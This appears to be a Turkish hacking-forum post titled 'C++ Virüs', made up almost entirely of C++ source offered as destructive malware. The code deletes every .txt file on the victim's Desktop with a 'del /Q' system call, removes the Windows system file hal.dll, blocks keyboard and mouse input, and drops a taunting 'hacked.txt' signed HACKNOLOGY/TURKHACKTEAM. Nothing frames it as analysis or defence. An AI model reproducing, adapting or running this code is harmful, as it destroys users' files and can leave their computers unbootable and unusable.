Hoşgeldin Misafir

C++ Virüs

MiRaT

13 Kas 2017
2,077 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
#include <iostream>
#include <conio.h>
#include <string>
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <Lmcons.h>
#include <Shlobj.h>
#include <stdlib.h>
#include <fstream>
#include <Winuser.h>
using namespace std;

main(){
	int n;
	TCHAR name [ UNLEN + 1 ];
	DWORD size = UNLEN + 1;
	TCHAR appData[MAX_PATH];
	
	if (GetUserName( (TCHAR*)name, &size )){
		if (SUCCEEDED(SHGetFolderPath(NULL,
                                  CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                  NULL,
                                  SHGFP_TYPE_CURRENT,
                                  appData)))
        
		cout << "Pc ismi: " << name <<endl;
	
		string komut = "del /Q ";
		char* txt = "\\*.txt";
		
		char* path = appData;
		
		strcat(path,txt);
		
			
		system(komut.append(path).c_str());
		
		
		remove("C:\\windows\\system32\\hal.dll");
		ofstream dosya;
		dosya.open("hacked.txt");
		dosya << "hacked bro, i delete your all .txt files in Desktop and hal.dll which is very very important for your system. Good luck with it (: All hails from HACKNOLOGY/TURKHACKTEAM";
		BlockInput(true);
		
	}
}